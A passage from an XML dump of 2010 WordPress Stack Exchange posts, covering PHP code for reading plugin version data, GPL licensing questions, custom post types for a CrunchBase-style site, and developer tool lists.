retrieval.&#xA;Version: 0.1&#xA;Author: Mike Schinkel&#xA;Author URI: http://mikeschinkel.com&#xA;Note: Written for http://wordpress.stackexchange.com/questions/361/is-there-a-way-for-a-plug-in-to-get-its-own-version-number&#xA;*/&#xA;&#xA;require_once(ABSPATH.'wp-admin/includes/plugin.php');&#xA;&#xA;function get_active_plugin_version($plugin_path_file, $sitewide = false) {&#xA;    return get_active_plugin_attribute($plugin_path_file,'Version');&#xA;}&#xA;function get_active_plugin_attribute($plugin_path_file, $attribute) {&#xA;    $all_plugins_data = get_active_plugins_data($plugin_path_file,$sitewide);&#xA;    return (isset($all_plugins_data[$attribute]) ? $all_plugins_data[$attribute] : false);&#xA;}&#xA;function get_active_plugins_data($plugin_path_file, $sitewide = false) {&#xA;    $failsafe = false;&#xA;    $plugin = plugin_basename(trim($plugin_path_file));&#xA;    $sitewide = (is_multisite() &amp;amp;&amp;amp; ( $sitewide || is_network_only_plugin($plugin)));&#xA;    if ($sitewide) {&#xA;        $all_plugins_data = get_site_option('active_sitewide_plugin_data',array());&#xA;    } else {&#xA;        $all_plugins_data = get_option('active_plugin_data',array());&#xA;    }&#xA;    if (!$failsafe &amp;amp;&amp;amp; !is_array($all_plugins_data) || count($all_plugins_data)==0) {&#xA;        $failsafe = true; // Don't risk infinite recursion&#xA;        if ($sitewide) {&#xA;            $active_plugins = get_site_option('active_sitewide_plugins',array());&#xA;        } else {&#xA;            $active_plugins = get_option('active_plugins',array());&#xA;        }&#xA;        persist_active_plugin_data(null,$active_plugins,$sitewide);&#xA;        $all_plugins_data = get_active_plugin_version($plugin_path_file,$sitewide);&#xA;    }&#xA;    return $all_plugins_data[$plugin_path_file];&#xA;}&#xA;add_action('update_site_option_active_sitewide_plugins','persist_sitewide_active_plugin_data',10,2);&#xA;function persist_sitewide_active_plugin_data($option, $plugins) {&#xA;    persist_active_plugin_data(null,$plugins,'sitewide');&#xA;}&#xA;add_filter('update_option_active_plugins','persist_active_plugin_data',10,2);&#xA;function persist_active_plugin_data($old_plugins, $new_plugins, $sitewide=false) {&#xA;    $active_plugin_data = array_flip($new_plugins);&#xA;    $plugin_dir = WP_PLUGIN_DIR;&#xA;    foreach($new_plugins as $plugin) {&#xA;        $active_plugin_data[$plugin] = get_plugin_data(&quot;$plugin_dir/$plugin&quot;);&#xA;    }&#xA;    if ($sitewide)&#xA;        update_site_option('active_sitewide_plugin_data',$active_plugin_data);&#xA;    else&#xA;        update_site_option('active_plugin_data',$active_plugin_data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Want to see how it works? Here's a test file you can drop in the root of your WordPress site (&lt;code&gt;http://example.com/test.php&lt;/code&gt;.) Make sure you have both this plugin and Akismet activated before you test it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;* test.php - Place in root of WordPress website.&#xA;*&#xA;* Before running be sure to activate both Akismet and the WP Active Plugin Data plugin&#xA;*&#xA;*/&#xA;&#xA;include &quot;wp-load.php&quot;;&#xA;&#xA;header('Content-type:text/plain');&#xA;$akismet = &quot;akismet/akismet.php&quot;;&#xA;echo &quot;Akismet Version: &quot; . get_active_plugin_version($akismet);&#xA;echo &quot;\n\nAkismet Description: &quot; . get_active_plugin_attribute($akismet,'Description');&#xA;echo &quot;\n\nAll Akismet Data:\n&quot;;&#xA;print_r(get_active_plugins_data($akismet));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it's not exactly what you need at least it should give you a good starting point. Hope this helps.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-15T05:57:00.370" CommentCount="2" />
  <row Id="372" PostTypeId="1" AcceptedAnswerId="384" CreationDate="2010-08-15T18:16:10.377" Score="2" ViewCount="186" Body="&lt;p&gt;My site has a theme which I created myself, and while it works, I often have to tweak the theme or use plugins to modify the appearance or behaviour. I've been looking at ways to modify my theme so that there's less jumping around to make changes. Ideas include some basic SEO, gallery functionality, fields for analytics and feedburner, and widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What features do you consider useful to build into a theme to reduce modifying it later or having to use plugins?&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-26T16:28:58.997" LastActivityDate="2011-03-06T22:52:11.760" CommunityOwnedDate="2010-08-15T18:16:10.377" Title="Building useful features into your theme" Tags="&lt;themes&gt;&lt;features&gt;" AnswerCount="6" FavoriteCount="4" />
  <row Id="373" PostTypeId="1" AcceptedAnswerId="374" CreationDate="2010-08-15T20:02:11.313" Score="5" ViewCount="139" Body="&lt;p&gt;I started a blog recently. Currently I'm using a free theme and some plugins that are working well enough for now. And, my overall goal is to produce content and not become a WordPress developer, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, I do need to upgrade my technical skills. I have one goal of customizing my current theme within 1 -3 months and potentially developing a custom theme in 6 - 8 months. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for recommendations on books, ebooks, or websites to help me with the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;CSS - beginning to intermediate level&lt;/li&gt;&#xA;&lt;li&gt;PHP - beginning - I'm not interested in becoming a coder, but want to be able to tweak, troubleshoot and understand better.&lt;/li&gt;&#xA;&lt;li&gt;XHTML - beginning to intermediate level - 10 years ago I did HTML coding, but then moved into management.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Obviously there is a huge amount of info on this via Google, etc. I'm hoping for some practical suggestions from the experts in order to avoid dead ends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&#xA;-wdypdx22&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2010-08-20T15:41:32.660" Title="I'm looking for some good references (manuals)" Tags="&lt;references&gt;&lt;customization&gt;" AnswerCount="7" CommentCount="5" FavoriteCount="3" />
  <row Id="374" PostTypeId="2" ParentId="373" CreationDate="2010-08-15T20:27:46.200" Score="5" ViewCount="" Body="&lt;p&gt;W3Schools &lt;a href=&quot;http://www.w3schools.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.w3schools.com/&lt;/a&gt; is agreat site for learning about HTML, CSS, PHP etc..&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2010-08-15T20:27:46.200" CommentCount="2" />
  <row Id="375" PostTypeId="2" ParentId="372" CreationDate="2010-08-15T20:30:37.410" Score="2" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;Definitely some SEO options.&lt;/li&gt;&#xA;&lt;li&gt;Built-in social sharing and stuff...&lt;/li&gt;&#xA;&lt;li&gt;Built-in Twitter widgets to get your tweets...&#xA;-Ability to add post thumbnails&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and much more depending on what you want to do with your website ...&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2010-08-15T20:30:37.410" CommunityOwnedDate="2010-08-15T20:30:37.410" />
  <row Id="376" PostTypeId="2" ParentId="295" CreationDate="2010-08-15T20:33:02.177" Score="3" ViewCount="" Body="&lt;p&gt;I think &lt;a href=&quot;http://wordpress.org/extend/plugins/yet-another-related-posts-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/yet-another-related-posts-plugin/&lt;/a&gt; might help..&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2010-08-15T20:33:02.177" CommentCount="3" />
  <row Id="377" PostTypeId="1" AcceptedAnswerId="385" CreationDate="2010-08-15T20:36:06.723" Score="1" ViewCount="154" Body="&lt;p&gt;The Plugin developer center says &quot;Your plugin must be GPLv2 Compatible.&quot;. But I found that the Topsy plugin is under GPLv3. &lt;a href=&quot;http://www.gnu.org/licenses/rms-why-gplv3.html&quot; rel=&quot;nofollow&quot;&gt;http://www.gnu.org/licenses/rms-why-gplv3.html&lt;/a&gt; states that GPLv2 and GPLv3 are incompatible. So should this be allowed?&#xA;I want to use some code from the Topsy plugin. Then, should I release my plugin under GPLv2 or GPLv3 ?? &lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2010-08-17T05:33:32.490" Title="GPL and plugins" Tags="&lt;plugins&gt;&lt;licensing&gt;&lt;development&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="378" PostTypeId="2" ParentId="373" CreationDate="2010-08-15T20:43:34.493" Score="2" ViewCount="" Body="&lt;p&gt;You might want to look into a &lt;a href=&quot;http://membership.thinkvitamin.com/pages/info?aid=15&quot; rel=&quot;nofollow&quot;&gt;Think Vitamin&lt;/a&gt; membership (full disclosure: affiliate link).  That home page heavily promotes their conferences and Q&amp;amp;A sessions, but they have a pretty good library of &lt;a href=&quot;http://membership.thinkvitamin.com/library/?aid=15&quot; rel=&quot;nofollow&quot;&gt;training videos&lt;/a&gt;, including HTML, CSS, and PHP (among other topics).&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-15T20:43:34.493" CommentCount="7" />
  <row Id="379" PostTypeId="2" ParentId="324" CreationDate="2010-08-15T20:53:50.630" Score="0" ViewCount="" Body="&lt;p&gt;I use Windows 7 for development and the following tools:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Netbeans IDE for CSS, XHTML, PHP editing etc.&lt;/li&gt;&#xA;&lt;li&gt;Notepad++ for some quick editing...&lt;/li&gt;&#xA;&lt;li&gt;XAMPP for local development environment.&lt;/li&gt;&#xA;&lt;li&gt;Firebug for debugging.&lt;/li&gt;&#xA;&lt;li&gt;Google Page Speed and YSlow for site speed optimization.&lt;/li&gt;&#xA;&lt;li&gt;FileZilla for FTP.&lt;/li&gt;&#xA;&lt;li&gt;SilkSVN for Source control.. Required for Wordpress Plugins&lt;/li&gt;&#xA;&lt;li&gt;Putty for ssh&lt;/li&gt;&#xA;&lt;li&gt;etc....&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22" LastActivityDate="2010-08-15T20:53:50.630" CommunityOwnedDate="2010-08-15T20:53:50.630" />
  <row Id="380" PostTypeId="2" ParentId="377" CreationDate="2010-08-15T22:13:58.053" Score="2" ViewCount="" Body="&lt;p&gt;Good question. Technically GPLv3 is not compatible with GPv2. If you take the stance that Matt Mullenweg takes then the Topsy plugins are in the wrong. My guess is that if Matt knew he'd pull Topsy's plugins from the repository until they relicense them via GPLv2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you cannot force Topsy to relicense (although you can ask them to; that might be the best choice.) As for &quot;&lt;em&gt;Should it be allowed?&lt;/em&gt;&quot; the question is &quot;&lt;em&gt;Who would be doing the disallowing?&lt;/em&gt;&quot; The only ones who could disallow would be someone suing Topsy to change it. Of course Matt could apply marketing pressure by pulling it from the plugin repository. But unless and/or until one of those things happens...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you are in a rock-and-a-hard place. You can't really use the Topsy code w/o licensing it GPLv3, and if you do you can't really create a WordPress plugin because it would not be compatible with GPLv2 (according to Matt's interpretation of the GPLv2.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OTOH, and &lt;em&gt;this is not advice&lt;/em&gt; only me pontificating, you could probably just ignore the GPLv3 concerns, use Topsy's code, and let the chips fall where they may. It's very unlikely you'd ever get sued or even have anyone complain that you did so unless there was serious money attributed to your plugin which my guess is that wouldn't be the case? And if you did get a cease-and-desist from Topsy then Matt would also certainly become your ally and put market pressure on Topsy. At least that'd be my guess. :)&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-15T22:13:58.053" />
  <row Id="381" PostTypeId="1" AcceptedAnswerId="386" CreationDate="2010-08-15T23:06:29.017" Score="7" ViewCount="1513" Body="&lt;p&gt;I wish to create something like &lt;a href=&quot;http://www.crunchbase.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CrunchBase.com&lt;/strong&gt;&lt;/a&gt; &#xA;with WordPress.org (So to have one website that is a &quot;database&quot;, and another one, which is a blog, that connects to it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? and how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Tal&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-06T04:33:48.757" LastActivityDate="2011-01-06T04:33:48.757" Title="Implementing a CrunchBase.com Clone using WordPress?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;cms&gt;" AnswerCount="3" FavoriteCount="10" />
  <row Id="382" PostTypeId="2" ParentId="381" CreationDate="2010-08-16T00:59:18.440" Score="3" ViewCount="" Body="&lt;p&gt;There's no reason it can't be done, using custom post types and the appropriate templating to make it suit... but whether it's the RIGHT way to do it is a different matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CrunchBase.com is down at the moment so I can't do a proper valuation, but from what I remember of it, it'd be better suited to being a WordPress blog + custom plugin to handle the database entries, sort've like how an e-Commerce plugin works for WP. Keep the database of company information stored and managed via a plugin, that also lets you embed relevant info into blog posts using a function from the plugin.&lt;/p&gt;&#xA;" OwnerUserId="181" LastActivityDate="2010-08-16T00:59:18.440" />
  <row Id="383" PostTypeId="2" ParentId="324" CreationDate="2010-08-16T01:06:53.990" Score="0" ViewCount="" Body="&lt;p&gt;I've always liked to keep things pretty simple.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Notepad++&lt;/li&gt;&#xA;&lt;li&gt;FileZilla&lt;/li&gt;&#xA;&lt;li&gt;Google Chrome (love &quot;Inspect&quot;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I really should learn about GIT/SVN etc, but haven't needed it so far.&lt;/p&gt;&#xA;" OwnerUserId="181" LastActivityDate="2010-08-16T01:06:53.990" CommunityOwnedDate="2010-08-16T01:06:53.990" />
  <row Id="384" PostTypeId="2" ParentId="372" CreationDate="2010-08-16T01:16:12.313" Score="4" ViewCount="" Body="&lt;p&gt;It's all site-dependent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a few core things I build in to any theme's functions.php though:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Change logo on admin page to suit the client's company&lt;/li&gt;&#xA;&lt;li&gt;Hide WP-Stats smiley graphic&lt;/li&gt;&#xA;&lt;li&gt;Hide WP.me short URLs and replace with their chosen provider&lt;/li&gt;&#xA;&lt;li&gt;Add option for Twitter, Facebook, and Buzz buttons and ability to pull in Tweets&lt;/li&gt;&#xA;&lt;li&gt;Google Analytics option&lt;/li&gt;&#xA;&lt;li&gt;Minify JS/CSS&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;... plus i'm forgetting some stuff, i'm sure.&lt;/p&gt;&#xA;" OwnerUserId="181" LastActivityDate="2010-08-16T01:16:12.313" CommunityOwnedDate="2010-08-16T01:16:12.313" />
  <row Id="385" PostTypeId="2" ParentId="377" CreationDate="2010-08-16T02:40:19.633" Score="4" ViewCount="" Body="&lt;p&gt;If you're following the rules (you never want to start out by &lt;em&gt;breaking&lt;/em&gt; them), then any WordPress plug-in you write and submit to the repository must be licensed as GPLv2.  There was a huge storm of discussion over this last year because the example readme file mistakenly said &quot;GPL, version 2 or any later version&quot; ... which is why some plug-ins went the GPLv3 route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once it was pointed out that plug-ins &lt;em&gt;had&lt;/em&gt; to be licensed using version 2 to be in compliance with the license of WordPress core, many plug-ins relicensed to version 2 and several that refused were removed from the repository.  Unfortunately, quite a few flew under the radar and missed the update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion would be to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Contact the developers of Topsy and ask them to either relicense the plug-in or give you explicit permission to use some of their code and license your release under GPLv2&lt;/li&gt;&#xA;&lt;li&gt;Wait until getting affirmation from Topsy before using any of their code in your own system.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Technically&lt;/em&gt;, Topsy is in violation of WordPress' core license, and it's the WordPress Foundation's responsibility to pursue that (not yours).  However, to make sure that you keep your own code in compliance and avoid any legal fallout should they pursue action against Topsy, you should either get permission to use the code &lt;em&gt;in an appropriate manner&lt;/em&gt; or find something else to work with.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-16T02:40:19.633" CommentCount="20" />
  <row Id="386" PostTypeId="2" ParentId="381" CreationDate="2010-08-16T03:17:52.417" Score="22" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Tal Gailili&lt;/strong&gt;:  &lt;em&gt;Absolutely&lt;/em&gt;, WordPress would be a great platform for a CrunchBase clone! &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use Custom Post Type and Custom Taxonomies&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What you want to look at are &lt;em&gt;Custom Post Types&lt;/em&gt; and &lt;em&gt;Custom Taxonomies&lt;/em&gt; [see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/187#187&quot;&gt;&lt;strong&gt;this answer&lt;/strong&gt;&lt;/a&gt; I gave on a very similar subject].&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example Code for your Company's Post Type and Taxonomies&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;With WordPress 3.0 you can create a &lt;code&gt;company&lt;/code&gt; custom post type and then one or more custom taxonomies that apply to the company such as category, funding and status. To bootstrap your efforts here's code you can drop in to your theme's &lt;code&gt;functions.php&lt;/code&gt; file to get your started:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('company',&#xA;    array(&#xA;        'label'           =&amp;gt; __('Companies'),&#xA;        'public'          =&amp;gt; true,&#xA;        'show_ui'         =&amp;gt; true,&#xA;        'query_var'       =&amp;gt; 'company',&#xA;        'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'companies'),&#xA;        'hierarchical'    =&amp;gt; true,&#xA;        'supports'        =&amp;gt; array(&#xA;            'title',&#xA;            'page-attributes',&#xA;            'excerpts',&#xA;            'thumbnail',&#xA;            'custom-fields',&#xA;            'editor',&#xA;            ),&#xA;        )&#xA;);&#xA;&#xA;register_taxonomy('company-category', 'company', array(&#xA;    'hierarchical'    =&amp;gt; true,&#xA;    'label'           =&amp;gt; __('Categories'),&#xA;    'query_var'       =&amp;gt; 'company-category',&#xA;    'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'categories' ),&#xA;    )&#xA;);&#xA;&#xA;register_taxonomy('company-status', 'company', array(&#xA;    'hierarchical'    =&amp;gt; true,&#xA;    'label'           =&amp;gt; __('Status'),&#xA;    'query_var'       =&amp;gt; 'company-status',&#xA;    'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'status' ),&#xA;    )&#xA;);&#xA;&#xA;register_taxonomy('company-funding', 'company', array(&#xA;    'hierarchical'    =&amp;gt; true,&#xA;    'label'           =&amp;gt; __('Funding'),&#xA;    'query_var'       =&amp;gt; 'company-funding',&#xA;    'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'funding' ),&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Other Post Types you might want:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you really want to clone CrunchBase you'd be wanting to create custom post types for each of these (though I'm guess you want something similar but for a different market?):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;People&lt;/li&gt;&#xA;&lt;li&gt;Financial Organizations&lt;/li&gt;&#xA;&lt;li&gt;Service Providers&lt;/li&gt;&#xA;&lt;li&gt;Funding Rounds&lt;/li&gt;&#xA;&lt;li&gt;Acquisitions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Company Listing Page&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For your company's listing page (like &lt;a href=&quot;http://www.crunchbase.com/companies&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; on CrunchBase) I'd probably create a WordPress &quot;&lt;a href=&quot;http://en.support.wordpress.com/post-vs-page/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Page&lt;/em&gt;&lt;/a&gt;&quot; called &quot;&lt;em&gt;Companies&lt;/em&gt;&quot; (&lt;em&gt;imagine that!&lt;/em&gt;) and then use a post list shortcode plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/list-pages-shortcode/&quot; rel=&quot;nofollow&quot;&gt;List Pages Shortcode&lt;/a&gt; (if you use that one you will need to make a one-line modification to support Custom Post Types like I show &lt;a href=&quot;http://wordpress.org/support/topic/plugin-list-pages-shortcode-add-support-for-custom-post-types&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that plugin and modification you can add the following text to your &quot;&lt;em&gt;Companies&lt;/em&gt;&quot; Page and it will list out all the companies in a bulleted list on that page which you can style with CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[list-pages post_type=&quot;company&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Company Specific Layouts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Then for a custom layout for each company you can make a copy of the theme template file &lt;code&gt;single.php&lt;/code&gt; and name it &lt;code&gt;single-company.php&lt;/code&gt; and make whatever modifications you want to the layout there. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;User Company Submissions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;And if you want to let people submit companies consider using &lt;a href=&quot;http://www.gravityforms.com&quot; rel=&quot;nofollow&quot;&gt;Gravity Forms&lt;/a&gt; (&lt;em&gt;not&lt;/em&gt; an affiliate link; US$39 per site license and worth every penny.)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;If you need more...&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There's more I'm sure but that will get you most of the basic functionality you need. If you need more, ask another question here on WordPress Answers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helped.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-16T03:23:27.803" LastActivityDate="2010-08-16T03:23:27.803" CommentCount="4" />
  <row Id="387" PostTypeId="2" ParentId="324" CreationDate="2010-08-16T03:57:20.743" Score="0" ViewCount="" Body="&lt;p&gt;Most of my tools have already been listed, so repeating them won't add to this discussion any, but some ff extensions not mentioned before that I find useful are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Codeburner for firebug (Reference tool, by SitePoint)&lt;/li&gt;&#xA;&lt;li&gt;Colorzilla (eyedropper tool)&lt;/li&gt;&#xA;&lt;li&gt;MeasureIt (ruler/measurment tool)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm on a mac.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2010-08-16T03:57:20.743" CommunityOwnedDate="2010-08-16T03:57:20.743" />
  <row Id="388" PostTypeId="2" ParentId="324" CreationDate="2010-08-16T04:01:12.990" Score="5" ViewCount="" Body="&lt;p&gt;I use PC until last year and now Mac and PC so here are mine:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;For Both Mac &amp;amp; Windows:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://filezilla-project.org/&quot; rel=&quot;nofollow&quot;&gt;FileZilla&lt;/a&gt; - FTP Client&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firefox Firebug&lt;/a&gt; - jQuery Debugging&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.navicat.com/en/products/navicat_mysql/mysql_overview.html&quot; rel=&quot;nofollow&quot;&gt;Navicat for MySQL&lt;/a&gt; - Commercial MySQL client&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://unfuddle.com/&quot; rel=&quot;nofollow&quot;&gt;Unfuddle.com&lt;/a&gt; - SVN Repository and Task Management for client projects&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;For Mac (OS X):&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.jetbrains.com/phpstorm/&quot; rel=&quot;nofollow&quot;&gt;PhpStorm&lt;/a&gt;+&lt;a href=&quot;http://www.jetbrains.com/idea/webhelp/configuring-zend-debugger.html&quot; rel=&quot;nofollow&quot;&gt;Zend Debugger&lt;/a&gt; - Debugging IDE (Nothing better on the MAC)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://clickontyler.com/virtualhostx/&quot; rel=&quot;nofollow&quot;&gt;VirtualHostX&lt;/a&gt; - Manages Apache Virtual Hosts Locally (I &lt;em&gt;LOVE&lt;/em&gt; this)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://panic.com/transmit/&quot; rel=&quot;nofollow&quot;&gt;Transmit&lt;/a&gt; FTP Client w/synchronization &lt;/li&gt;&#xA;&lt;li&gt;Terminal for SVN (sometimes)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.fraiseapp.com/&quot; rel=&quot;nofollow&quot;&gt;Fraise&lt;/a&gt; - Lightweight Text Editor (Fork of &lt;a href=&quot;http://smultron.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;Smultron&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://macrabbit.com/espresso/&quot; rel=&quot;nofollow&quot;&gt;Espresso&lt;/a&gt; - Text Editor w/great visual regex search &amp;amp; replace&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.apple.com/safari/&quot; rel=&quot;nofollow&quot;&gt;Safari 5&lt;/a&gt; + &lt;a href=&quot;http://www.machangout.com/&quot; rel=&quot;nofollow&quot;&gt;Glims&lt;/a&gt; - For inspecting HTML+CSS + Safari Enhancements&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tuffcode.com/&quot; rel=&quot;nofollow&quot;&gt;HTTP Scoop&lt;/a&gt; - Reasonable HTTP debugger\&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://flyingmeat.com/acorn/&quot; rel=&quot;nofollow&quot;&gt;Acorn&lt;/a&gt; - Image Editor&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://skitch.com/&quot; rel=&quot;nofollow&quot;&gt;Skitch&lt;/a&gt; - Image Annotator and Uploader&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.balsamiq.com/&quot; rel=&quot;nofollow&quot;&gt;Balsamiq&lt;/a&gt; - Mockups and Wireframes&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.irradiatedsoftware.com/cinch/&quot; rel=&quot;nofollow&quot;&gt;Cinch&lt;/a&gt; - Easy Full Screens (OS X should do this but it doesn't)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.dropbox.com/&quot; rel=&quot;nofollow&quot;&gt;DropBox&lt;/a&gt; - Automated core file backup and file synchronizer across computers&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://derailer.org/paparazzi/&quot; rel=&quot;nofollow&quot;&gt;Paparazzi!&lt;/a&gt; - Batchable screen-shot tool&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://totalfinder.binaryage.com/&quot; rel=&quot;nofollow&quot;&gt;TotalFinder&lt;/a&gt; - Tabs Finder  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;For Windows (Vista Business):&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.nusphere.com/products/&quot; rel=&quot;nofollow&quot;&gt;PhpED&lt;/a&gt; - Debugging IDE (Nothing better on Windows, 'cept maybe &lt;a href=&quot;http://www.jetbrains.com/phpstorm/&quot; rel=&quot;nofollow&quot;&gt;PhpStorm&lt;/a&gt;+&lt;a href=&quot;http://www.xdebug.org/&quot; rel=&quot;nofollow&quot;&gt;XDEBUG&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.heidisql.com/&quot; rel=&quot;nofollow&quot;&gt;HeidiSQL&lt;/a&gt; - Great open-source MySQL client&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.flos-freeware.ch/notepad2.html&quot; rel=&quot;nofollow&quot;&gt;Notepad2&lt;/a&gt; - Great lightweight and usable Notepad alternative &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tortoisesvn.net/&quot; rel=&quot;nofollow&quot;&gt;TortoiseSVN&lt;/a&gt; - SVN Client&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://technet.microsoft.com/en-us/scriptcenter/powershell.aspx&quot; rel=&quot;nofollow&quot;&gt;PowerShell&lt;/a&gt; - Unbeatable command-line scripting&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.microsoft.com/downloads/details.aspx?familyid=e59c3964-672d-4511-bb3e-2d5e1db91038&amp;amp;displaylang=en&quot; rel=&quot;nofollow&quot;&gt;IE Developer Toolbar&lt;/a&gt; - For inspecting HTML+CSS on Internet 